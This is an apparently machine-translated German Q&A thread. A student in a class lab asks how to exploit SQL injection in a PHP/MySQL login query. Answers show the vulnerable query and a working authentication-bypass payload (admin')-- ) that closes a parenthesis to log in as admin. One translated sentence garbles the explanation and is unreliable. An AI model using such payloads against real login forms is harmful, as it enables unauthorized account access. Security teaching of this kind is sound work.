2017-04-09 3 views
0

Wir arbeiten an einem Labor in der Klasse und ich kann nicht finden, was ich vermisse. Der folgende Code ist eine SQL-Abfrage für die Authentifizierung von Benutzern:SQL-Injection Troubles

$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, 
    FROM USERS_TABLE 
    WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’"); 
    $chk = mysql_fetch_array($sel1); 
    if (found one record) 
    then {allow the user to login} 

Wir sollen eine SQL-Injection-Schwachstelle finden, das ich glaube, liegt in:

WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’"); 

sie auszubeuten sind wir im Grunde soll Melden Sie sich bei einem Admin-Profil auf einer Website mit einem ziemlich generischen Benutzernamen und Passwort an. Die gegebene Information ist, dass wir wissen, dass der Profilname admin ist. Und wir sollten nur den Benutzernamen auf der Website nutzen.

Nach dem Lesen des folgenden Artikels Security Idiots und ein Abschnitt aus einem Buch Penetration Testing Ein Hands-On Einführung in Hacking von Georgia Weidman. Dies sind einige der Dinge, die ich versucht:

  • admin' OR 1--
  • admin '-
  • admin' AND 1 = 1--

Und viel mehr Variationen Dies. Mein Verständnis ist, dass ich das admin-Profil auswähle, das diesen Abschnitt mit dem "'" vervollständigt, dann true und den Rest des Codes in dieser Zeile tötend. Aber nichts, was ich versuche, scheint zu funktionieren.

Es ist auch wichtig zu beachten, dass wir für dieses Labor speziell konfigurierte virtuelle Maschinen haben, die diesen Angriff ermöglichen.

Also bin ich auf dem richtigen Weg oder verstehe ich nicht die Logik hinter einem SQL-Injection-Angriff. Ich suche nicht unbedingt nach dem Code, nach dem ich suche, aber ich mache mir Sorgen, dass ich in die falsche Richtung gehe und etwas vermisse.

Jede Hilfe wird sehr geschätzt. Und ich würde mich freuen, etwas näher zu erläutern. Danke.

+0

Versuchen Sie 'admin ') -' auch sind Sie sicher, dass die SQL in der Frage richtig ist?'gender, FROM USERS_TABLE' sollte kein Komma vor' FROM' stehen –

+0

Leider gibt es auch bei diesem Benutzernamen keinen Würfel. Und ich habe ursprünglich diesen Code aus unseren Laboranweisungen kopiert, aber er stammt nicht von der Datei selbst, daher könnte es Tippfehler geben. Wir haben den Speicherort der Datei nicht angegeben. Würde dies den Exploit beeinflussen? Der Code muss betriebsbereit sein, da mehrere Studenten ihn gemäß den Dropbox-Einreichungen abgeschlossen haben. Also, wenn es kein Komma sein soll, stelle ich mir vor, dass es in der Datei nicht vorhanden ist. – Codey

+0

Dieses Komma vor 'FROM' ist ein SQL-Fehler. Aber da Sie sicher sind, dass der Code funktioniert, ist es vielleicht nur ein Tippfehler. –

Antwort

0

Dank Azi für das Aufzeigen des Problems mit dem Raum.

Die SQL Sie soll wo war knacken

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = '$user' OR email = '$user') AND pass = '$pass' 

Jede der admin' OR 1--, admin'--, admin' AND 1=1-- würde, weil nicht funktionieren, wenn user Variable mit diesen Eingängen die Aussagen

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin' OR 1-- ' OR email = '$user') AND pass = '$pass' 

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin'-- ' OR email = ’$user’) AND pass = ’$pass’ 

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin' AND 1=1-- ' OR email = ’$user’) AND pass = ’$pass’ 

Alle werden ersetzt wird davon sind Syntaxfehler seit geöffneter Klammer ( nicht geschlossen

Wenn Sie admin'-- (Raum geben am Ende Ihrer Eingabe ist wichtig) geben die Eingangsrechnung wird

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin')-- ' OR email = ’$user’) AND pass = ’$pass’" 

Die SQL-Syntax-Fehler hat und den Datensatz mit Namen als Admin auswählen.

+0

@Azi Danke, dass Sie auf das Platzproblem hingewiesen haben. Das muss mein Problem gewesen sein, als ich zuerst Arun 'admin' versuchte -). Ich schätze all das Feedback von allen. – Codey

Verwandte Themen